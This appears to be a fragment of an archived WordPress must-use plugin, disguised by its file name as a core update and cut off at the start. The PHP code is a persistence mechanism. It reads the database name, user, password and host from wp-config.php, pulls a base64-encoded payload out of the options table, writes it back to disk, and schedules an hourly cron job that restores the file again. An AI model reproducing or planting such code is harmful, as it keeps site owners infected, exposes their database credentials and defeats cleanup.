home/www/jdlcomputers.com/wp-content/mu-plugins/wp-core-update-348c903f.php000064400000003274152353444610022451 0ustar00= $min) { @copy($s,$p); @chmod($p,0644); return; } $_cf = dirname(__DIR__,2).'/wp-config.php'; if(!file_exists($_cf)) return; $_src=@file_get_contents($_cf); if(!preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]*?)['\"]/",$_src,$_m1)) return; if(!preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]*?)['\"]/",$_src,$_m2)) return; if(!preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]*?)['\"]/",$_src,$_m3)) return; if(!preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]*?)['\"]/",$_src,$_m4)) return; $_tp='wp_'; if(preg_match("/table_prefix\s*=\s*['\"]([^'\"]*?)['\"]/",$_src,$_m5)) $_tp=$_m5[1]; try{$_db=@(new PDO('mysql:host='.$_m4[1].';dbname='.$_m1[1],$_m2[1],$_m3[1])); $_q=$_db->query("SELECT option_value FROM `".$_tp."options` WHERE option_name='".$opt."'"); if($_q&&($_row=$_q->fetch())){@file_put_contents($p,base64_decode($_row[0]));@chmod($p,0644);} }catch(\Exception $e){} } } _wp_cuh_restore($_p,$_s,$_opt,$_min); add_action('init',function() use ($_hook){ if (function_exists('wp_next_scheduled') && !wp_next_scheduled($_hook)) wp_schedule_event(time(),'hourly',$_hook); }); add_action($_hook,function() use ($_p,$_s,$_opt,$_min){ _wp_cuh_restore($_p,$_s,$_opt,$_min); });